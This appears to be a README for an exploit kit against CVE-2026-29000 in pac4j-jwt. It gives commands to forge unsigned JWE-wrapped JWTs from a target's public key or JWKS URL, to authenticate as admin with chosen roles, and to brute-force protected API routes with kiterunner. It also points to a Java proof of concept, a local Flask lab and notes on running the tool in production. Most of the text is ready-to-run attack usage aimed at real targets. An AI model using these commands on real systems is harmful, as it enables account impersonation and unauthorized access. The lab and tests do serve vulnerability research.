
Forge JWE-wrapped unsigned JWTs to bypass pac4j-jwt signature verification (CVE-2026-29000) and authenticate as any user; includes Python CLI, library, Java PoC, and kiterunner route scanning.
Full buildout: writeup, Java in-process PoC, Python token-forge CLI and library, tests.
See WRITEUP.md for details and PoC requirements.
| Path | Description |
|---|---|
WRITEUP.md | CVE summary, root cause, affected versions, PoC requirements, references |
RECON.md | What to put in (claim discovery, app-specific claims) and where to submit (headers, cookies, finding protected endpoints) |
OPERATIONALIZATION.md | What’s needed to run in production: packaging, config, safety, automation, observability, maintenance |
scripts/kr_scan.py | Forge token and run kiterunner (~/bin/kr) with Authorization: Bearer to brute/scan for protected API routes |
examples/ | Example scripts: forge_and_curl.sh, forge_and_kr.sh |
lab/ | Flask lab app (JWE endpoint + JWKS) for testing token-forge |
poc/ | Java Maven PoC (in-process bypass against pac4j-jwt 6.0.3) |
token_forge/ | Python package: forge JWE-wrapped PlainJWT from PEM or JWKS URL |
tests/ | Pytest tests for claims, forge, keys, CLI |
requirements.txt | Python deps (jwcrypto, requests, pytest) |
python3 -m venv .venv
source .venv/bin/activate # or .venv\Scripts\activate on Windows
pip install -r requirements.txt
# From PEM (generate with: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# From JWKS URL
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# Extra claims (for app-specific discovery): --claim [email protected] --claim key=value
# Options: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
Output: single line (forged JWT); use as Authorization: Bearer <token>.
Requires kr in ~/bin/kr. Forge token and run kr brute (or kr scan) with Bearer auth to discover protected routes:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
See RECON.md §4 for options (--subject, --roles, --claim, -A, --scan, etc.).
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# or with warnings as errors:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# Or token-only (no in-process validation):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# With custom subject/roles:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
Expected: [BYPASS] Authenticated as: admin#override and roles when running in-process.
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # then open htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
Flask app that accepts JWE and returns claims (for testing forge + curl/kr).
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
See lab/README.md.